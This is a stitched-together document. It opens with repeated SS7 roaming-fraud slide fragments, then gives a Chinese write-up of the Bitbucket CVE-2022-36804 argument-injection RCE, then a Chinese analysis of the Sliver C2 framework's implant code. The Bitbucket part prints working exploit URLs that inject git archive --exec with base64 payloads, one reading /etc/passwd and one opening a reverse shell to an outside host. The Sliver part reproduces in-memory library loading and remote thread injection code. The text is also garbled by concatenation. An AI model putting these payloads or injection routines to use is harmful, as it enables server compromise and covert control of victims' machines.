SendRoutingInfo (MSISDN)
ProvideRoaminNumber (IMSI)
ProvideRoamingNumber (MSRN = 5312345678)
SendRoutingInfo (MSRN = 5312345678)
IAM (A-Number, 5312345678)
26121456789
Number 88612345670
IMSI 466901234567891
Zimbabwe
Cuba
Who pays?
Billing
GMSC
HLR
UpdateLocation (IMSI, Fake MSC/VLR)
InsertSubscriberData (Profile)
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
ProvideSubscriberInfo (IMSI)
ProvideSubscriberInfo (Location = Home)
SendRoutingInfo (Location = Home)
InitialDP (A-Num, B-Num, Location)
ApplyCharging, Continue
SendRoutingInfo (MSISDN)
ProvideRoaminNumber (IMSI)
ProvideRoamingNumber (MSRN = 5312345678)
SendRoutingInfo (MSRN = 5312345678)
IAM (A-Number, 5312345678)
26121456789
Number 88612345670
IMSI 466901234567891
Zimbabwe
Cuba
Who pays?
Billing
GMSC
HLR
UpdateLocation (IMSI, Fake MSC/VLR)
InsertSubscriberData (Profile)
IAM (A-Number, B-Number)
SendRoutingInfo (MSISDN)
ProvideSubscriberInfo (IMSI)
ProvideSubscriberInfo (Location = Home)
SendRoutingInfo (Location = Home)
InitialDP (A-Num, B-Num, Location)
ApplyCharging, Continue
SendRoutingInfo (MSISDN)
ProvideRoaminNumber (IMSI)
ProvideRoamingNumber (MSRN = 5312345678)
SendRoutingInfo (MSRN = 5312345678)
IAM (A-Number, 5312345678)
26121456789
Number 88612345670
IMSI 466901234567891
Zimbabwe
Cuba
Thank you!
ptsecurity.com | pdf |
1
【CVE-2022-36804】bitbucket 前台RCE漏洞
Critical severity command injection vulnerability - CVE-OLOO-PTWLQ
patch#N
patch#O
分析N
分析O:
分析猜想
补丁分析
事后诸葛亮
(N)为什么是%LL
(O)为什么不能命令注⼊,只能参数注⼊
(P)为什么是git archive?
EXP
Ref
官⽅通告:https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-
advisory-2022-08-24-1155489835.html
准备diff下8.3.0 - 8.3.1,顺便熟悉下idea diff jar包的流程:
https://product-downloads.atlassian.com/software/stash/downloads/atlassian-bitbucket-
8.3.0-x64.bin
https://product-downloads.atlassian.com/software/stash/downloads/atlassian-bitbucket-
8.3.1-x64.bin
分析patch,发现了两处可疑的点:
Critical severity command injection vulnerability -
CVE-2022-36804
●
●
2
found bitbucket/atlassian-bitbucket-8.3.0-x64/app/WEB-INF/lib/nuprocess-2.0.
2-atlassian-3.jar!/com/zaxxer/nuprocess/NuProcessBuilder.class
the patch#1 is like:
patch#1
3
新加了⼀个⽅法 ensureNoNullCharacters
command.indexOf(0),查找command⾥⾯有没有 \u0000 这个字符
如果有,就直接抛异常, Commands may not contain null characters ,poc⾥⾯可加下
这个提示值
全量补丁在下⾯:
●
●
this.ensureNoNullCharacters(commands);
1
Plain Text
复制代码
private void ensureNoNullCharacters(List<String> commands) {
Iterator var2 = commands.iterator();
String command;
do {
if (!var2.hasNext()) {
return;
}
command = (String)var2.next();
} while(command.indexOf(0) < 0);
throw new IllegalArgumentException("Commands may not contain null char
acters");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Java
复制代码
4
public class NuProcessBuilder {
private static final NuProcessFactory factory;
private final List<String> command;
private final TreeMap<String, String> environment;
private Path cwd;
private NuProcessHandler processListener;
public NuProcessBuilder(List<String> commands, Map<String, String> env
ironment) {
if (commands != null && !commands.isEmpty()) {
this.ensureNoNullCharacters(commands); //patch
this.environment = new TreeMap(environment);
this.command = new ArrayList(commands);
} else {
throw new IllegalArgumentException("List of commands may not b
e null or empty");
}
}
public NuProcessBuilder(List<String> commands) {
if (commands != null && !commands.isEmpty()) {
this.ensureNoNullCharacters(commands); //patch
this.environment = new TreeMap(System.getenv());
this.command = new ArrayList(commands);
} else {
throw new IllegalArgumentException("List of commands may not b
e null or empty");
}
}
public NuProcessBuilder(String... commands) {
if (commands != null && commands.length != 0) {
List<String> commandsList = Arrays.asList(commands);
//patc
h
this.ensureNoNullCharacters(commandsList); //patch
this.environment = new TreeMap(System.getenv());
this.command = new ArrayList(commandsList);
} else {
throw new IllegalArgumentException("List of commands may not b
e null or empty");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Java
复制代码
5
another patch is at bitbucket/atlassian-bitbucket-8.3.0-x64/app/WEB-INF/lib/bitb
ucket-process-8.3.1.jar
增加了调⽤
全⽂是
Also, for those who's not familiar with NuProcessBuilder , check:
https://github.com/brettwooldridge/NuProcess
patch#2
addIf(NioProcessParameters$Builder::nonNullAndNoNullChar, this.argument
s, value);
1
Plain Text
复制代码
private static boolean nonNullAndNoNullChar(String value) {
if (value == null) {
return false;
} else {
requireNoNullChars(value);
return true;
}
}
private static void requireNoNullChars(String value) {
if (value.indexOf(0) >= 0) {
throw new IllegalArgumentException("Unsupported \\0 character
detected: " + value);
}
}
private static String requireNonBlankAndNoNullChar(String value, Strin
g msg) {
requireNonBlank(value, msg);
requireNoNullChars(value);
return value;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Java
复制代码
6
NuProcess 是开源的代码,便于在不同操作系统下⾯执⾏命令,bitbucket⽤的是atlanssian⾃⼰魔改
了的版本
再往下跟,最终定位到NuProcess,绿⾊部分是补丁新增的内容
public class NuProcessBuilder {
//...
static {
String factoryClassName = null;
String osname = System.getProperty("os.name").toLowerCase();
if (!osname.contains("mac") && !osname.contains("freebsd")) {
if (osname.contains("win")) {
factoryClassName = "com.zaxxer.nuprocess.windows.WinProces
sFactory";
} else if (osname.contains("linux")) {
factoryClassName = "com.zaxxer.nuprocess.linux.LinProcessF
actory";
} else if (osname.contains("sunos")) {
factoryClassName = "com.zaxxer.nuprocess.solaris.SolProces
sFactory";
}
} else {
factoryClassName = "com.zaxxer.nuprocess.osx.OsxProcessFactor
y";
}
if (factoryClassName == null) {
throw new RuntimeException("Unsupported operating system: " +
osname);
} else {
try {
Class<?> forName = Class.forName(factoryClassName);
factory = (NuProcessFactory)forName.newInstance();
} catch (Exception var3) {
throw new RuntimeException(var3);
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Java
复制代码
7
After analysing the old version of nuprocess, it turns out to be functional updates, not security
patch.
⼀开始分析atlanssian家魔改的nuprocess,以为是有安全加固,结果只是feature的更新。
分析相关代码,关键字 NuProcess , 发现
分析1
8
漏洞可能是利⽤ \u0000 来进⾏某些bypass操作,命令注⼊,Null Byte Injection
2022年9⽉16⽇,看了安全客上的分析⽂章<https://www.anquanke.com/post/id/280193>
思路对了,只是差⼀些。
参数注⼊
● bitbucket基于Java开发,底层调⽤了git命令,分隔符就是null byte( 0x00 )
● Null byte可以注⼊的字符,注⼊恶意参数。
官⽅披露的漏洞效果是仅在有只读权限情况下可以进⾏命令执⾏,通过枚举应⽤所有只读权限情况下可以构造
的 git 指令,找到⼀处进⾏参数注⼊,构造恶意 url 访问即可造成任意命令执⾏。
atlassian-bitbucket-8.3.0-x64/app/WEB-INF/classes/stash-context.xml
NuNioProcess
NioProcess
NioNuProcessHandler
exitHandler
commandLine
NioProcessParameters
nonNullAndNoNullChar
this.arguments
# install
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Plain Text
复制代码
9
测试了相关payload,发现并不会被我的断点断下来,费解。
应该是滥⽤的archive模块(https://git-scm.com/docs/git-archive),因为在git的源代码⾥⾯,只有
archive有remote参数
8.3.0-8.3.1的升级内容⾥,主要涉及到两个⽂件:
bitbucket/atlassian-bitbucket-8.3.0-x64/app/WEB-INF/lib/nuprocess-2.0.2
-atlassian-3.jar
分析2:
分析猜想
●
10
原本开源在gituhb, atlassian开发组对其进⾏了⼆次开发
bitbucket/atlassian-bitbucket-8.3.0-x64/app/WEB-INF/lib/bitbucket-proce
ss-8.3.0.jar
基本上就是封装了⼀些执⾏命令的函数(如果有调⽤到此处的函数, 很可能存在⻛险)
但是全局没有找到调⽤链,只有⼀个bean id,不知如何触发
(1)在 bitbucket-process-8.3.0.jar 中, 有这两处补丁
函数的定义在下⾯, 就是检测了 \u0000 ——检测NULL时为啥呢?
○
●
○
○
补丁分析
addIf(NioProcessParameters$Builder::nonNullAndNoNullChar, this.arguments, v
alue);
1
Java
复制代码
private static boolean nonNullAndNoNullChar(String value) {
if (value == null) {
return false;
} else {
requireNoNullChars(value);
return true;
}
}
private static void requireNoNullChars(String value) {
if (value.indexOf(0) >= 0) {
throw new IllegalArgumentException("Unsupported \\0 character
detected: " + value);
}
}
private static String requireNonBlankAndNoNullChar(String value, Strin
g msg) {
requireNonBlank(value, msg);
requireNoNullChars(value);
return value;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Java
复制代码
11
(2) nuprocess-2.0.2-atlassian-3.jar 的补丁
增加了 ensureNoNullCharacters 校验,
12
函数的作⽤,依然是在校验不能有NULL字符。
public class NuProcessBuilder {
private static final NuProcessFactory factory;
private final List<String> command;
private final TreeMap<String, String> environment;
private Path cwd;
private NuProcessHandler processListener;
public NuProcessBuilder(List<String> commands, Map<String, String> env
ironment) {
if (commands != null && !commands.isEmpty()) {
this.ensureNoNullCharacters(commands); //patch
this.environment = new TreeMap(environment);
this.command = new ArrayList(commands);
} else {
throw new IllegalArgumentException("List of commands may not b
e null or empty");
}
}
public NuProcessBuilder(List<String> commands) {
if (commands != null && !commands.isEmpty()) {
this.ensureNoNullCharacters(commands); //patch
this.environment = new TreeMap(System.getenv());
this.command = new ArrayList(commands);
} else {
throw new IllegalArgumentException("List of commands may not b
e null or empty");
}
}
public NuProcessBuilder(String... commands) {
if (commands != null && commands.length != 0) {
List<String> commandsList = Arrays.asList(commands);
//patc
h
this.ensureNoNullCharacters(commandsList); //patch
this.environment = new TreeMap(System.getenv());
this.command = new ArrayList(commandsList);
} else {
throw new IllegalArgumentException("List of commands may not b
e null or empty");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Java
复制代码
13
所以,为啥要对NULL字符进⾏重重校验?
初步猜测,攻击者通过某种⽅式调⽤了命令执⾏函数,⼿法可能有:
任意对象实例化(类似Spring-Core反序列,更改了某些重要变量;但历史上只有7995端⼝出过反
序列,HTTP端⼝没有)
某些冷⻔Feature,例如scm那⼀堆旧的功能,我未跟进,不过看历史⽂章,可能会有搞头。
再通过NULL字节绕过了某些限制??天⻢⾏空起来。。
暂时
没有找到命令执⾏处的调⽤点
●
●
●
private void ensureNoNullCharacters(List<String> commands) {
Iterator var2 = commands.iterator();
String command;
do {
if (!var2.hasNext()) {
return;
}
command = (String)var2.next();
} while(command.indexOf(0) < 0);
throw new IllegalArgumentException("Commands may not contain null char
acters");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Java
复制代码
14
在分析安全客的⽂章⽆果之后,终于等到github出了真正PoC(https://github.com/notxesh/CVE-
2022-36804-PoC/blob/main/CVE-2022-36804.py)。
我们来跟⼀跟漏洞的调⽤栈,分析⼀波原因。
⾸先搞明⽩,这是什么类型的漏洞?——参数注⼊。
在 git archive 命令中,利⽤空字符,注⼊ --exec 选项,从⽽执⾏任意命令。
为了完整地复现这个漏洞,⾸先要回答下⾯⼏个问题:
为什么是 %00 ?
为什么只能注⼊选项,不能直接⽤&&、||等符号来命令注⼊?
为什么是git archive?
这个问题的⼀个反⾯是,为啥 %00 可以注⼊参数,但是常⽤的空格 %20 却不⾏。
事后诸葛亮
●
●
●
(1)为什么是 %00
在bash下测试,发现空字符在bash中会被忽略。
可⻅空字符并不是bash中默认的分隔符(delimiter)。
15
那思路往回⾛,bitbucket后台是如何拼接git命令的呢?回头去看安全客的那篇⽂章,⾥⾯提到bitbucket
拼接命令的关键函数:
$ printf "cat\\x00/etc/passwd" |sh
sh: line 1: cat/etc/passwd: No such file or directory
1
2
Bash
复制代码
16
import java.util.*;
import java.lang.*;
import java.util.ArrayList;
import java.util.Arrays;
public class check_null
{
public static void main(String xyz[])
{
String[] stringArray = new String[]{"git", "archive", "Hello\u0000
World!", "-- "};
List<String> command = new ArrayList(Arrays.asList(stringArray));
String[] cmdarray = (String[])command.toArray(new String[0]);
byte[][] args = new byte[cmdarray.length - 1][];
System.out.println( args );
int size = args.length;
// 取 git 命令数组参数,第0位之后,存储到 args[][]
for(int i = 0; i < args.length; ++i) {
args[i] = cmdarray[i + 1].getBytes();
size += args[i].length;
}
// 最终存储参数的 byte数组 argBlock
byte[] argBlock = new byte[size];
int i = 0;
byte[][] var9 = args;
int var10 = args.length;
for(int var11 = 0; var11 < var10; ++var11) {
byte[] arg = var9[var11];
// 使⽤ system.arraycopy 将 arg[][] ⼆维数组拷⻉到 argBlock
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
}
System.out.println(args);
System.out.println(argBlock);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
8.3.0\app\WEB-INF\lib\nuprocess-2.0.2-atlassian-3.jar!\com\zaxxer\… Java
复制代码
17
可以看出,输⼊的参数是⼀个命令数组,返回的是参数列表。经过它的处理,我们 Hello\u0000Worl
d! ⾥⾯的 NUL 字符,浑⽔摸⻥地加到了参数⾥⾯,示意图如下:
于是我们现在实现了参数注⼊。
同样的,command会解析成arg_list,参数列表,所以我们能够通过注⼊空字节,来增加参数。
但是并不能改变执⾏顺序,也不能通过增加逻辑运算符来命令注⼊、
所以,我们没法直接⽤&&、||进⾏参数注⼊(改变执⾏逻辑/执⾏顺序),只能想办法加恶意的选项。
因为,git archive可以未授权访问,对应前台的下载功能。
(2)为什么不能命令注⼊,只能参数注⼊
常识: {"git", "--prefix=<INJECT>"} ,若 <INJECT> 可控,也不能注⼊其它的命令。因为
此时执⾏命令的主体是git,⽽不是其它可执⾏⽂件。第⼆个参数的所有内容,都只会被视为是git命令
的选项。
(3)为什么是git archive?
# 输⼊
{"git", "archive", "Hello\u0000World!", "-- "};
# 输出
[a, r, c, h, i, v, e, <NUL>, H, e, l, l, o, <NUL>, W, o, r, l, d, !, <NUL>
, -, -, , <NUL>]
== {'archive', 'Hello', 'World!', '--' }
1
2
3
4
5
6
7
Java
复制代码
18
archive有 --exec 选项,可以被滥⽤来执⾏命令。
注意:执⾏的命令并⾮完全回显,会被截断;视作⽆回显的RCE就⾏了
例如,执⾏ cat /etc/passwd ,只显示了 root
EXP
https://github.com/notxesh/CVE-2022-36804-PoC/blob/main/CVE-2022-36804.py
# rce
http://10.10.111.35:7990/rest/api/latest/projects/PUB/repos/repo/archive?fo
rmat=zip&&path=&prefix=test/%00--remote=''%00--exec=echo+'Y2F0IC9ldGMvcGFzc
3dkCg=='+%7c+base64+-d++%7c+sh;%00
# 反弹shell
http://10.10.111.35:7990/rest/api/latest/projects/PUB/repos/repo/archive?fo
rmat=zip&=&path=&prefix=test/%00--remote=''%00--exec=echo+'YmFzaCAtaSA%2bJi
AvZGV2L3RjcC8xMC4xMC4xMTEuMS80NDQ0IDA%2bJjEK'+%7c+base64+-d++%7c+sh;%00
1
2
3
4
5
6
Basic
复制代码
19
Install Note:https://confluence.atlassian.com/bitbucketserver/supported-platforms-
776640981.html
https://www.geek-share.com/detail/2803770907.html
https://www.anquanke.com/post/id/280193
Ref
●
●
●
● 📎2019第五届互联⽹安全领袖峰会_对基于Git的版本控制服务的通⽤攻击⾯的探索.pdf | pdf |
Sliver 是一个基于Go的开源、跨平台的红队平台,可供各种规模的组织用于执行安全测试。 Sliver
的木马 支持 C2 over Mutual-TLS、HTTP(S) 和 DNS等协议。 implant可以时时编译生成,并会使
用证书进行加密。
基于Go语言的特性,服务器和客户端以及implant都支持 MacOS、Windows 和 Linux。
Github地址:https://github.com/BishopFox/sliver tag:v1.4.22
go语言越来越流行,并且作为红队使用语言有很多优势。它十分简单,代码可以轻松编译为native代码
到各类平台,跨平台开发非常容易。像py2exe和jar2exe,因为没有流行的软件,它们生成的工具很容
易被杀毒针对,而golang编写的软件像docker等,让杀软无法直接查杀golang语言本身的特征,这更方
便红队开发进行隐藏自己。
重要的是,已经有很多开源的,成熟的用于红队的代码,sliver就是其中之一。所以学习下sliver的代
码,主要积累一些相关的go代码,学习基于go的C2是怎么做的,方便之后自己写C2。
本文将主要总结Sliver c2的功能原理、代码结构、以及对抗方面的内容。
使用&简介
sliver运行需要配置一些环境变量,如go、gcc,方便生成木马时候进行编译,在kali下运行十分简单,
因为kali已经内置了这些变量,只需要在下载页面https://github.com/BishopFox/sliver/releases 下载
最新的 sliver-server_linux ,解压后直接运行即可。
输入 http -l 8888 用于开启一个基于http 8888端口的C2
输入 generate --http http://192.168.126.132:8888 生成一个基于http的c2木马。
它生成的时候默认会使用 garble 对implant源码进行一遍混淆,能够防止被分析。
sliver之前的版本使用的gobfuscate,在源码层面修改变量以及代码结构,速度比较慢,相比之下
garble是对中间编译环节进行混淆结构,速度比较快也能混淆大部分符号等信息。
生成完毕后的exe被点击后
使用 use [id] 选择要控制的机器即可对它进行操控了。
代码简介
sliver的代码结构中有三大组件
implant
植入物,有点拗口,可以理解为“木马”
server
teamserver,也可以进行交互操作
client
多用户时可以使用的交互客户端
这三个组件即构成了Sliver的C2服务,server也实现了client的功能,client就是使用rpc调用server的功
能,所以大部分情况下看server和implant就行了。
官方Readme上的一些Features和它的实现方式。
Dynamic code generation
动态代码生成,就是动态生成go源码然后编译
Compile-time obfuscation
使用go-obf混淆生成的go代码
Multiplayer-mode
支持多用户模式
Staged and Stageless payloads
Staged 主要是调用msf来生成的payload
Procedurally generated C2 over HTTP(S)
http混淆协议
Base64 Base64 with a custom alphabet so that it's not interoperable with standard
Base64
Hex Standard hexadecimal encoding with ASCII characters
Gzip Standard gzip
English Encodes arbitrary data as English ASCII text
PNG Encodes arbitrary data into valid PNG image files
Gzip+English A combination of the Gzip and English encoders
Base64+Gzip A combination of the Base64 and Gzip encoders
[DNS canary] blue team detection
使用DNS诱饵域名 发现蓝队
Secure C2 over mTLS, WireGuard, HTTP(S), and DNS
C2通信支持的协议 mTLS, WireGuard, HTTP(S), DNS
Fully scriptable using JavaScript/TypeScript or Python
支持使用JavaScript和Python编写脚本
Local and remote process injection
本地和远程进程注入
Windows process migration
Windows user token manipulation
Anti-anti-anti-forensics
对抗
Let's Encrypt integration
Let's Encrypt集成
In-memory .NET assembly execution
Implant
implant是sliver c2的“木马”部分,也是整个c2的核心部分。sliver 的implant是支持跨平台的,三个平台
功能的基本功能基本上都有,但每个平台的支持程度还是稍有差异。但是它对windows平台的功能显然
更多一点。
sliver的提供了三种选项编译implant,编译成shellcode、编译成第三方库,和编译成exe。对于
windows,还支持生成 windows service 、 windows regsvr32/ PowerSploit 类型的文件,后两种
格式,其实就是一种含有特殊导出表的DLL。
编译成第三方库
能分别生成 .dll 、 .dylib 、 .so 文件,主要依赖cgo,要调用c语言编译器。所以想在server上多端生
成,要下载各个平台的交叉编译器。
主要就是 sliver.c 实现的。
#include "sliver.h"
#ifdef __WIN32
DWORD WINAPI Enjoy()
{
RunSliver();
return 0;
}
BOOL WINAPI DllMain(
HINSTANCE _hinstDLL, // handle to DLL module
DWORD _fdwReason, // reason for calling function
LPVOID _lpReserved) // reserved
{
switch (_fdwReason)
{
case DLL_PROCESS_ATTACH:
// Initialize once for each new process.
// Return FALSE to fail DLL load.
{
// {{if .Config.IsSharedLib}}
HANDLE hThread = CreateThread(NULL, 0, Enjoy, NULL, 0, NULL);
// CreateThread() because otherwise DllMain() is highly likely to
deadlock.
// {{end}}
}
break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
break;
case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
break;
}
return TRUE; // Successful.
}
#elif __linux__
#include <stdlib.h>
void RunSliver();
static void init(int argc, char **argv, char **envp)
{
unsetenv("LD_PRELOAD");
unsetenv("LD_PARAMS");
RunSliver();
}
__attribute__((section(".init_array"), used)) static typeof(init) *init_p =
init;
#elif __APPLE__
#include <stdlib.h>
void RunSliver();
__attribute__((constructor)) static void init(int argc, char **argv, char
**envp)
{
unsetenv("DYLD_INSERT_LIBRARIES");
unsetenv("LD_PARAMS");
RunSliver();
}
windows在dllmain里面启动一个线程执行go函数,mac和linux直接再 init 上执行go函数。
编译成shellcode
只能在windows下使用,在 server\generate\binaries.go
编译shellcode,首先编译成dll,然后会使用go-donut github.com/binject/go-donut/donut 进行转
换为shellcode。
donut 可以将任意的exe、dll、.net等等程序转换为shellcode,go-donut 是donut 的go实现,关于
donut ,模仿cs开局一个shellcode的实现.md 有讲述相关原理。
功能
在大体看了implant代码后,我画了一张思维导图用来描述sliver c2 implant所具有的功能和技术。
#endif
功能详情
sideload
主要用于加载并执行库文件
Darwin
在本进程执行shellcode
sideload 这个会写出文件,将库文件写到tmp目录,指定环境变量 DYLD_INSERT_LIBRARIES 为文件路
径
func LocalTask(data []byte, rwxPages bool) error {
dataAddr := uintptr(unsafe.Pointer(&data[0]))
page := getPage(dataAddr)
syscall.Mprotect(page, syscall.PROT_READ|syscall.PROT_EXEC)
dataPtr := unsafe.Pointer(&data)
funcPtr := *(*func())(unsafe.Pointer(&dataPtr))
runtime.LockOSThread()
defer runtime.UnlockOSThread()
go func(fPtr func()) {
fPtr()
}(funcPtr)
return nil
}
// Sideload - Side load a library and return its output
func Sideload(procName string, data []byte, args string, kill bool) (string,
error) {
var (
stdOut bytes.Buffer
stdErr bytes.Buffer
wg sync.WaitGroup
)
fdPath := fmt.Sprintf("/tmp/.%s", randomString(10))
err := ioutil.WriteFile(fdPath, data, 0755)
if err != nil {
return "", err
}
env := os.Environ()
newEnv := []string{
fmt.Sprintf("LD_PARAMS=%s", args),
fmt.Sprintf("DYLD_INSERT_LIBRARIES=%s", fdPath),
}
env = append(env, newEnv...)
cmd := exec.Command(procName)
cmd.Env = env
cmd.Stdout = &stdOut
cmd.Stderr = &stdErr
//{{if .Config.Debug}}
log.Printf("Starting %s\n", cmd.String())
linux
无文件落地、内存执行.so,原理是使用 memfd_create ,允许我们在内存中创建一个文件,但是它在内
存中的存储并不会被映射到文件系统中,执行程序时候设置环境变量 LD_PRELOAD ,预加载so文件
//{{end}}
wg.Add(1)
go startAndWait(cmd, &wg)
// Wait for process to terminate
wg.Wait()
// Cleanup
os.Remove(fdPath)
if len(stdErr.Bytes()) > 0 {
return "", fmt.Errorf(stdErr.String())
}
//{{if .Config.Debug}}
log.Printf("Done, stdout: %s\n", stdOut.String())
log.Printf("Done, stderr: %s\n", stdErr.String())
//{{end}}
return stdOut.String(), nil
}
// Sideload - Side load a library and return its output
func Sideload(procName string, data []byte, args string, kill bool) (string,
error) {
var (
nrMemfdCreate int
stdOut bytes.Buffer
stdErr bytes.Buffer
wg sync.WaitGroup
)
memfdName := randomString(8)
memfd, err := syscall.BytePtrFromString(memfdName)
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error during conversion: %s\n", err)
//{{end}}
return "", err
}
if runtime.GOARCH == "386" {
nrMemfdCreate = 356
} else {
nrMemfdCreate = 319
}
fd, _, _ := syscall.Syscall(uintptr(nrMemfdCreate),
uintptr(unsafe.Pointer(memfd)), 1, 0)
pid := os.Getpid()
fdPath := fmt.Sprintf("/proc/%d/fd/%d", pid, fd)
err = ioutil.WriteFile(fdPath, data, 0755)
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error writing file to memfd: %s\n", err)
//{{end}}
return "", err
}
//{{if .Config.Debug}}
Windows
1. 使用 DuplicateHandle ,将句柄从一个进程复制到另一个进程
2. 在目标进程创建内存并使用创建远程线程执行dll
log.Printf("Data written in %s\n", fdPath)
//{{end}}
env := os.Environ()
newEnv := []string{
fmt.Sprintf("LD_PARAMS=%s", args),
fmt.Sprintf("LD_PRELOAD=%s", fdPath),
}
env = append(env, newEnv...)
cmd := exec.Command(procName)
cmd.Env = env
cmd.Stdout = &stdOut
cmd.Stderr = &stdErr
//{{if .Config.Debug}}
log.Printf("Starging %s\n", cmd.String())
//{{end}}
wg.Add(1)
go startAndWait(cmd, &wg)
// Wait for process to terminate
wg.Wait()
if len(stdErr.Bytes()) > 0 {
return "", fmt.Errorf(stdErr.String())
}
//{{if .Config.Debug}}
log.Printf("Done, stdout: %s\n", stdOut.String())
log.Printf("Done, stderr: %s\n", stdErr.String())
//{{end}}
return stdOut.String(), nil
}
func SpawnDll(procName string, data []byte, offset uint32, args string, kill
bool) (string, error) {
var lpTargetHandle windows.Handle
err := refresh()
if err != nil {
return "", err
}
var stdoutBuff bytes.Buffer
var stderrBuff bytes.Buffer
// 1 - Start process
cmd, err := startProcess(procName, &stdoutBuff, &stderrBuff, true)
if err != nil {
return "", err
}
pid := cmd.Process.Pid
// {{if .Config.Debug}}
log.Printf("[*] %s started, pid = %d\n", procName, pid)
// {{end}}
handle, err := windows.OpenProcess(syscalls.PROCESS_DUP_HANDLE, true,
uint32(pid))
if err != nil {
return "", err
}
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("GetCurrentProcess failed")
// {{end}}
return "", err
}
err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle,
&lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
if err != nil {
// {{if .Config.Debug}}
log.Println("DuplicateHandle failed")
// {{end}}
return "", err
}
defer windows.CloseHandle(handle)
defer windows.CloseHandle(lpTargetHandle)
dataAddr, err := allocAndWrite(data, lpTargetHandle, uint32(len(data)))
argAddr := uintptr(0)
if len(args) > 0 {
//{{if .Config.Debug}}
log.Printf("Args: %s\n", args)
//{{end}}
argsArray := []byte(args)
argAddr, err = allocAndWrite(argsArray, lpTargetHandle,
uint32(len(argsArray)))
if err != nil {
return "", err
}
}
//{{if .Config.Debug}}
log.Printf("[*] Args addr: 0x%08x\n", argAddr)
//{{end}}
startAddr := uintptr(dataAddr) + uintptr(offset)
threadHandle, err := protectAndExec(lpTargetHandle, dataAddr, startAddr,
argAddr, uint32(len(data)))
if err != nil {
return "", err
}
// {{if .Config.Debug}}
log.Printf("[*] RemoteThread started. Waiting for execution to finish.\n")
// {{end}}
if kill {
err = waitForCompletion(threadHandle)
if err != nil {
return "", err
}
// {{if .Config.Debug}}
log.Printf("[*] Thread completed execution, attempting to kill remote
process\n")
// {{end}}
cmd.Process.Kill()
return stdoutBuff.String() + stderrBuff.String(), nil
}
return "", nil
}
netstack
proxy
shell
注入技术
系统代理
通信流程
implant支持 mtls 、 WireGuard 、 http/https 、 dns 、 namedpipe 、 tcp 等协议的上线,
namedpipe 、 tcp 用于内网,加密程度不高,主要看看其他的。
HTTP/HTTPS
implant实现
implant在初始化时,会首先请求服务器获得一个公钥,再生成一个随机的AESKEY,用公钥加密后发送
到服务器,服务器确认后返回一个sessionid表示注册,后续implant只需要通过发送sessionid到服务
器,服务器即可根据sessionid找到对应的aeskey解密数据。
sliver的implant、client、server,所有通信的数据都是基于Go的struct,再经过 proto3 编码为字节发
送。关于 proto3 ,后面有介绍。
请求
随机编码器,通过随机数每次请求都会使用随机的编码器,在原aeskey的基础再次进行一次编码
uri的参数 _ 用来标记编码器的数字
通过cookie 标记sessionid
用 PHPSESSID 来传递sessionid
implant在初始化完成获得sessionID后,接着会启动两个GoRoutine(可以粗糙的理解为两个线程),一个
用于发送,一个用于接收,它们都是监控一个变量,当一个变量获得值之后立马进行相应的操作(发送/
接收)。
如果是其他语言实现类似操作的话可能要实现一个内存安全的队列,而在Go里面可以用自带的语法实现
类似操作,既简单也明了。
关于implant实现http/https协议具体细节,画了一张脑图。
go func() {
defer connection.Cleanup()
for envelope := range send {
data, _ := proto.Marshal(envelope)
log.Printf("[http] send envelope ...")
go client.Send(data)
}
}()
HTTP/HTTPS server端一些有意思的点
伪时时回显
cobalt strike有sleep的概念,是implant每次回连server的时间,因为这个概念,每次执行命
令都会等待一段事件才能看到结果。
sliver的http/https协议上线没有sleep的概念,每次发送完命令它立马就能返回结果。
原理是server接收到implant的请求后,如果当前没有任务,会卡住implant的请求(最长一分
钟),直至有任务出现。implant在timeout后也会再次请求,所以看到的效果就是发送的命令
立马就能得到回显。
重放检测
防止蓝队对数据进行重放,implant的编码和加密多种多样,还有一定的随机值,理论上不可
能会有内容一样包再次发送,sliver server会将每次的数据sha1编码的方式记录下来,如果蓝
队对数据进行重放攻击,则会返回错误页面。
DNS
dns协议虽然隐蔽,但它的限制较多,实现起来会有诸多束缚。
根据https://zh.wikipedia.org/wiki/%E5%9F%9F%E5%90%8D%E7%B3%BB%E7%BB%9F dns域名限制
为253字符
对每一级域名长度的限制是63个字符
一个DNS TXT 记录字符串最多可包含255 个字符
知道了以上限制就可以设计自己的DNS上线协议了。
sliver设计的协议是最终发送DNS的数据都会经过base32编码(会处理掉=),使用了自己的编码表
dnsCharSet = []rune("abcdefghijklmnopqrstuvwxyz0123456789_")
sliver设计的域名发送格式为
subdata:表示发送的数据,最多3*63=189字节,subdata可能会有多个子域
seq:表示这是数据的第几个
nonce:一个10位字节的随机数,以防解析器忽略 TTL,以及后面防重放攻击的避免手段
sessionid: sessionid标记当前implant
msgType:表示执行的命令类型
parentdomain: 自定义的域名
计算发送次数
size := int(math.Ceil(float64(len(encoded)) / float64(dnsSendDomainStep)))
dnsSendDomainStep = 189 #每一级域名长度的限制是63个字符,sliver取3个子域用于发送数
据,最大可发送 63 * 3 = 189字节
但是最终数据都会经过Base 32 编码,所以 (n*8 + 4) /5 = 63,n=39,意味着每次请求最终可发送39*3
=117 个字节
